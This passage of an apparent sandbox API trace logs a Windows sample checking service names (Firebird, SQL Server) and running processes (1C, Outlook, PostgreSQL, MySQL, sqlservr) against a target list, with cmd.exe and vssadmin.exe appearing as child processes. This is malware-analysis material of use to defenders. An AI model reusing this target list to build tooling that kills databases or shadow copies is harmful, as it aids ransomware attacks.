(lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0051.355] lstrlenW (lpString="Themes") returned 6 [0051.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0051.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0051.355] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0051.355] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0051.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0051.355] lstrlenW (lpString="TrkWks") returned 6 [0051.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0051.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0051.355] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0051.355] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0051.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0051.355] lstrlenW (lpString="UxSms") returned 5 [0051.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0051.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0051.355] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0051.355] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0051.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0051.355] lstrlenW (lpString="VSS") returned 3 [0051.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0051.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0051.356] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0051.356] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0051.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0051.356] lstrlenW (lpString="WdiServiceHost") returned 14 [0051.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0051.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0051.356] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0051.356] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0051.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0051.356] lstrlenW (lpString="WdiSystemHost") returned 13 [0051.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0051.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0051.356] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0051.356] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0051.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0051.356] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0051.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0051.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0051.356] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0051.356] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0051.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0051.356] lstrlenW (lpString="Winmgmt") returned 7 [0051.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0051.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0051.356] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0051.356] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0051.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0051.357] lstrlenW (lpString="WPDBusEnum") returned 10 [0051.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0051.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0051.357] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0051.357] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0051.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0051.357] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a77708 | out: hHeap=0x6c0000) returned 1 [0051.357] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f4 [0051.363] Process32FirstW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.363] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0051.364] lstrlenW (lpString="System") returned 6 [0051.364] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0051.364] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0051.364] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0051.364] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0051.364] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0051.364] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0051.364] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0051.364] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0051.365] lstrlenW (lpString="smss.exe") returned 8 [0051.365] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0051.365] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0051.365] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0051.365] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0051.365] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0051.365] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0051.365] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0051.365] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.365] lstrlenW (lpString="csrss.exe") returned 9 [0051.365] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0051.365] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0051.365] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0051.365] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0051.365] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0051.365] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0051.365] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0051.365] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0051.366] lstrlenW (lpString="wininit.exe") returned 11 [0051.366] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0051.366] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0051.366] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0051.366] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0051.366] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0051.366] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0051.366] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0051.366] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.367] lstrlenW (lpString="csrss.exe") returned 9 [0051.367] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0051.367] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0051.367] lstrlenW (lpString="winlogon.exe") returned 12 [0051.367] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0051.368] lstrlenW (lpString="services.exe") returned 12 [0051.368] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0051.368] lstrlenW (lpString="lsass.exe") returned 9 [0051.368] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0051.369] lstrlenW (lpString="lsm.exe") returned 7 [0051.369] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.369] lstrlenW (lpString="svchost.exe") returned 11 [0051.369] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.370] lstrlenW (lpString="svchost.exe") returned 11 [0051.370] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.370] lstrlenW (lpString="svchost.exe") returned 11 [0051.370] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.371] lstrlenW (lpString="svchost.exe") returned 11 [0051.371] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.371] lstrlenW (lpString="svchost.exe") returned 11 [0051.371] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0051.371] lstrlenW (lpString="audiodg.exe") returned 11 [0051.372] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.372] lstrlenW (lpString="svchost.exe") returned 11 [0051.372] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.373] lstrlenW (lpString="svchost.exe") returned 11 [0051.373] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0051.373] lstrlenW (lpString="dwm.exe") returned 7 [0051.373] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0051.373] lstrlenW (lpString="explorer.exe") returned 12 [0051.374] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0051.374] lstrlenW (lpString="spoolsv.exe") returned 11 [0051.374] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.374] lstrlenW (lpString="taskhost.exe") returned 12 [0051.374] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.375] lstrlenW (lpString="svchost.exe") returned 11 [0051.375] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0051.375] lstrlenW (lpString="taskeng.exe") returned 11 [0051.375] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.376] lstrlenW (lpString="taskhost.exe") returned 12 [0051.376] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0051.377] lstrlenW (lpString="br_maintaining.exe") returned 18 [0051.377] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0051.377] lstrlenW (lpString="kitsenormous.exe") returned 16 [0051.377] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0051.378] lstrlenW (lpString="intermediate-components.exe") returned 27 [0051.378] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0051.378] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0051.378] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0051.379] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0051.379] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0051.379] lstrlenW (lpString="stupid.exe") returned 10 [0051.379] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0051.379] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0051.380] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0051.380] lstrlenW (lpString="addition.exe") returned 12 [0051.380] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0051.380] lstrlenW (lpString="kept retirement.exe") returned 19 [0051.380] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0051.381] lstrlenW (lpString="lmmold.exe") returned 10 [0051.381] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0051.381] lstrlenW (lpString="soma weighted.exe") returned 17 [0051.381] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0051.382] lstrlenW (lpString="cartridge donation.exe") returned 22 [0051.382] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0051.382] lstrlenW (lpString="anti.exe") returned 8 [0051.382] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0051.383] lstrlenW (lpString="cashiersshot.exe") returned 16 [0051.383] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0051.383] lstrlenW (lpString="poundfi.exe") returned 11 [0051.383] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0051.384] lstrlenW (lpString="conditions_hired.exe") returned 20 [0051.384] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0051.384] lstrlenW (lpString="mercedes.exe") returned 12 [0051.384] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0051.385] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0051.385] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0051.385] lstrlenW (lpString="training_wiring.exe") returned 19 [0051.385] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0051.620] lstrlenW (lpString="democratic.exe") returned 14 [0051.620] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0051.621] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0051.621] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0051.621] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0051.621] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0051.622] lstrlenW (lpString="documented.exe") returned 14 [0051.622] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0051.622] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0051.622] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0051.623] lstrlenW (lpString="n.exe") returned 5 [0051.623] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0051.623] lstrlenW (lpString="cmd.exe") returned 7 [0051.623] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0051.624] lstrlenW (lpString="conhost.exe") returned 11 [0051.624] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0051.624] lstrlenW (lpString="vssadmin.exe") returned 12 [0051.624] Process32NextW (in: 